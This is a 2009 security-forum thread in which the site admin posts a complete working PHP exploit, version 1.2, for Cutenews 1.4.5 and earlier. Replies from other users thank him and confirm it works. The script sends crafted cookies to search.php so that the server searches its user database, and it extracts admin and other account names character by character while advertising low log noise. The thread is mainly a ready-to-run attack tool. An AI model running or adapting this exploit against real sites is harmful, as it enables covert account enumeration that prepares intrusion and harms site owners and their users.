 |
Menu |
 |
|
 Home |
| |
|
 Discussions |
| |
|
 Tools |
| |
|
| Affiliates |
| |
|
 Content |
| |
|
 Info |
| | |
|
|
|
|
|
User Info |
|
 Membership:
 Latest: MichaelSnaRe
 New Today: 0
 New Yesterday: 0
 Overall: 9144
 People Online:
 Visitors: 66
 Members: 0
 Total: 66
|
|
|
|
|
|
Full disclosure |
|
|
|
 |
|
 |
 |
|
 |
IT Security and Insecurity Portal |
|
|
Cutenews <= 1.4.5 usernames fetching exploit ver. 1.2 |
|
 Posted: Tue Mar 10, 2009 3:32 pm |
 |
|
| waraxe |
| Site admin |
 |
|
| Joined: May 11, 2004 |
| Posts: 2407 |
| Location: Estonia, Tartu |
|
|
 |
|
 |
|
This new version fixes bug related to usernames containing spaces and/or dots. Feedback is welcome!
P.S. Metasploit module version is coming out soon 
| Code: |
<?php
error_reporting(E_ALL);
///////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////
// Cutenews <= 1.4.5 usernames fetching exploit
// Version 1.2
// Written by Janek Vind "waraxe"
// http://www.waraxe.us
// 10. march 2009
// Estonia, Tartu
//
// FEATURES:
// 1. Fetching algorithm optimized for speed
// 2. Attack goes through $_COOKIE - minimal noise in logs
// 3. Pretesting saves time if Cutenews not vulnerable
//
// Version 1.1 -> pattern recognize improved
// Version 1.2 -> bugfix related to spaces in username
// version 1.2 -> bugfix related to dots in username/magic_quotes_gpc
//
// More useful tools: http://www.waraxe.us/tools/
// Waraxe forums: http://www.waraxe.us/forums.html
//
// NB! This exploit is meant to be run as php CLI!
// http://www.php.net/features.commandline
///////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////
//=====================================================================
$target = 'http://localhost/cutenews.1.4.5/search.php';
$level = 1; // User level needed, admin is 1
$outfile = './cute_log.txt';// Log file
//=====================================================================
///////////////////////////////////////////////////////////////////////
// Don't mess below this line, unless you know the stuff ;)
///////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////
if(($level < 1) || ($level > 4))
{
die('Specified level is invalid!');
}
$levels = array(1=>'admin',2=>'editor',3=>'journalist',4=>'commenter');
$levelname = $levels[$level];
$start_time = time();
$users_cnt = array();
$users = array();
$requests = 0;
$cli = php_sapi_name() === 'cli';
//=====================================================================
// Warning, if executed from webserver
//=====================================================================
if(!$cli)
{
if(!isset($_REQUEST['wtf-is-cli']))
{
echo "<html><head><title>Attention!</title></head>\n";
echo "<body><br /><br /><center>\n";
echo "<h1>Warning!</h1>\n";
echo "This exploit is meant to be used as php CLI script!<br />\n";
echo "More information:<br />\n";
echo "<a href=\"http://www.google.com/search?hl=en&q=php+cli+windows\" target=\"_blank\">http://www.google.com/search?hl=en&q=php+cli+windows</a><br />\n";
echo "Still, you can try to run it from webserver.<br />\n";
echo "Just press the button below and prepare for long waiting<br />\n";
echo "And learn to use php CLI next time, please ...<br />\n";
echo "<form method=\"get\">\n";
echo "<input type=\"submit\" name=\"wtf-is-cli\" value=\"Let me in, i don't care\">\n";
echo "</form>\n";
echo "</center></body></html>\n";
exit;
}
else
{
// Let's try to maximize our chances without CLI
set_time_limit(0);
}
}
//=====================================================================
add_logline("-------------------------------------------------------");
add_logline("Cutenews usernames fetching started");
add_logline("Target: $target");
add_logline("Reglevel: $levelname");
pre_test();
fetch_users();
$fcnt = count($users);
add_logline("Fetched $fcnt usernames with reglevel '$levelname'\n");
xecho("\nFetched $fcnt usernames with reglevel '$levelname'\n", 1);
foreach($users as $username)
{
add_logline($username);
xecho($username, 1);
}
$run_time = time() - $start_time;
xecho("\nTotal time spent: $run_time seconds", 1);
xecho("HTTP requests made: $requests\n", 1);
xecho("Questions and feedback - http://www.waraxe.us/forums.html", 1);
xecho("See ya! :)", 1);
exit;
//////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////
function fetch_users()
{
global $users_cnt, $level;
$maxlen = 15;
$pieces = array('' => $users_cnt[$level]);
for($i = 0; $i < $maxlen; $i ++)
{
$cntx = count($pieces);
$arr = array();
foreach($pieces as $known => $count)
{
$arr2 = reveal_next_char($known, $count);
$arr = array_merge($arr, $arr2);
}
$pieces = $arr;
}
}
///////////////////////////////////////////////////////////////////
function reveal_next_char($known, $count)
{
global $level;
$known = str_replace('[.]', '.', $known);
$known = str_replace('.', '[.]', $known);
$charset = 'abcdefghijklmnopqrstuvwxyz0123456789 ._-';
$chars = strlen($charset);
$out = array();
$rl = "[$level]";
$arr = array("$charset" => $count);
$found_final = 0;
while(1)
{
$found = 0;
$arr2 = array();
foreach($arr as $subset => $scnt)
{
$curr_len = intval(floor(strlen($subset) / 2));
// Testing first half
$fhalf = substr($subset, 0, $curr_len);
$un = "^$known([$fhalf])";
xecho("Testing $un");
$matches = make_query($un, $rl);
if($matches > 0)
{
$found += $matches;
xecho("Found $matches match(es)");
if( strlen($fhalf) == 1)
{
// Exact match?
if(test_exact_match("$known$fhalf"))
{
if($matches > 1)
{
$out["$known$fhalf"] = $matches - 1;
}
}
else
{
$out["$known$fhalf"] = $matches;
}
$found_final += $matches;
}
else
{
$arr2[$fhalf] = $matches;
}
}
if($matches < $scnt)
{
// Testing second half
$shalf = substr($subset, $curr_len);
$un = "^$known([$shalf])";
xecho("Testing $un");
$matches = make_query($un, $rl);
if($matches > 0)
{
$found += $matches;
xecho("Found $matches match(es)");
if( strlen($shalf) == 1)
{
if(test_exact_match("$known$shalf"))
{
if($matches > 1)
{
$out["$known$fhalf"] = $matches - 1;
}
}
else
{
$out["$known$shalf"] = $matches;
}
$found_final += $matches;
}
else
{
$arr2[$shalf] = $matches;
}
}
}
}
$arr = $arr2;
if( $found_final >= $count )
{
break;
}
}
return $out;
}
////////////////////////////////////////////////////////////////////////
function test_exact_match($un)
{
global $level;
$rl = "[$level]";
$test = "^$un$";
xecho("Testing for full match $un");
$matches = make_query($test, $rl);
if($matches > 0)
{
$username = str_replace('[.]', '.', $un);
xecho("Full username found: $username");
$GLOBALS['users'][]= $username;
return true;
}
xecho("Not full match: $un");
return false;
}
///////////////////////////////////////////////////////////////////////
function pre_test()
{
global $users_cnt;
$un = '^[A-z0-9. _-]{1,15}$';
// Target URL valid?
xecho("Validating target URL");
if(strpos(make_get($GLOBALS['target']), 'search_in_archives') === false)
{
die('Target URL not valid!');
}
xecho("URL is valid");
$rl = "[1-4]";
$cnt_all = make_query($un, $rl);
if($cnt_all < 1)
{
die('Pretest failed - no users at all?');
}
else
{
xecho("Total $cnt_all user(s) detected:", 1);
add_logline("Total $cnt_all user account(s)\n");
}
$rl = "[1]";
$cnt_admins = make_query($un, $rl);
if($cnt_admins < 1)
{
die('Pretest failed - no admins at all?');
}
else
{
xecho("$cnt_admins admin(s)", 1);
add_logline("$cnt_admins admin account(s)");
}
$rl = "[2]";
$cnt_editors = make_query($un, $rl);
xecho("$cnt_editors editor(s)", 1);
add_logline("$cnt_editors editor account(s)");
$rl = "[3]";
$cnt_journalists = make_query($un, $rl);
xecho("$cnt_journalists journalist(s)", 1);
add_logline("$cnt_journalists journalist account(s)");
$rl = "[4]";
$cnt_commenters = make_query($un, $rl);
xecho("$cnt_commenters commenter(s)", 1);
add_logline("$cnt_commenters commenter account(s)\n");
if( $cnt_all === ($cnt_admins + $cnt_editors + $cnt_journalists + $cnt_commenters) )
{
xecho("Pretesting passed successfully - target is vulnerable!", 1);
}
else
{
die('Fetched userscounts does not match - fatal exit!');
}
$users_cnt[1] = $cnt_admins;
$users_cnt[2] = $cnt_editors;
$users_cnt[3] = $cnt_journalists;
$users_cnt[4] = $cnt_commenters;
}
///////////////////////////////////////////////////////////////////////
function make_query($username, $reglevel = '')
{
global $target;
$max_retries = 10;
$cookie = "dosearch=yes;files_arch[]=./data/users.db.php;title=$username";
if(!empty($reglevel))
{
$cookie .= ";user=$reglevel";
}
for($retry = 0; $retry < $max_retries + 1; $retry ++)
{
if($retry > 0)
{
xecho("Request failed!\n");
xecho("Sleeping $retry seconds\n");
sleep($retry);
xecho("Awake ...\n");
xecho("Retry #$retry\n");
}
$buff = make_get($target, $cookie, '', true);
$ret = preg_match('/\[[0-9]{1,6}\]:/',$buff,$hits);
if($ret > 0)
{
$ret = intval(substr($hits[0], 1));
if($ret > -1)
{
return $ret;
}
}
}
die('Fatal error - server down?');
}
///////////////////////////////////////////////////////////////////////
function make_get($url, $cookie = '', $referer = '', $headers = FALSE)
{
$ch = curl_init();
$timeout = 120;
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en)');
if(!empty($cookie))
{
curl_setopt($ch, CURLOPT_COOKIE, $cookie);
}
if(!empty($referer))
{
curl_setopt($ch, CURLOPT_REFERER, $referer);
}
if($headers === TRUE)
{
curl_setopt($ch, CURLOPT_HEADER, TRUE);
}
else
{
curl_setopt($ch, CURLOPT_HEADER, FALSE);
}
$fc = curl_exec($ch);
curl_close($ch);
$GLOBALS['requests'] ++;
return $fc;
}
///////////////////////////////////////////////////////////////////////
function add_logline($line)
{
global $outfile;
$line .= "\n";
$fh = fopen($outfile, 'ab');
fwrite($fh, $line);
fclose($fh);
}
///////////////////////////////////////////////////////////////////////
function xecho($line, $both = 0)
{
if($GLOBALS['cli'])
{
echo "$line\n";
}
elseif($both)
{
$line = nl2br(htmlspecialchars($line));
echo "$line<br />\n";
}
}
//////////////////////////////////////////////////////////////////////
?>
|
|
|
|
|
|
|
|
|
|
| Posted: Wed Mar 11, 2009 6:39 am |
|
|
| DEViANT |
| Beginner |
 |
|
| Joined: Mar 10, 2009 |
| Posts: 2 |
|
|
|
|
|
|
|
| hectic! Excellent exploitation. Thanks for sharing it |
|
|
|
|
| Posted: Fri Mar 13, 2009 3:58 pm |
|
|
| harasym |
| Regular user |
|
|
| Joined: Aug 07, 2008 |
| Posts: 6 |
|
|
|
|
|
|
|
| Thx a lot to waraxe, exploit really work's now with spaces and dots, just tested it |
|
|
|
|
| Posted: Fri Mar 13, 2009 4:33 pm |
|
|
| waraxe |
| Site admin |
|
|
| Joined: May 11, 2004 |
| Posts: 2407 |
| Location: Estonia, Tartu |
|
|
|
|
|
|
| harasym wrote: | | Thx a lot to waraxe, exploit really work's now with spaces and dots, just tested it |
Glad to hear that |
|
|
|
|
www.waraxe.us Forum Index -> All other security holes
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
|
All times are GMT
Page 1 of 1
|
|
|
|
Powered by phpBB © 2001-2008 phpBB Group
|
|
|
|
|
|
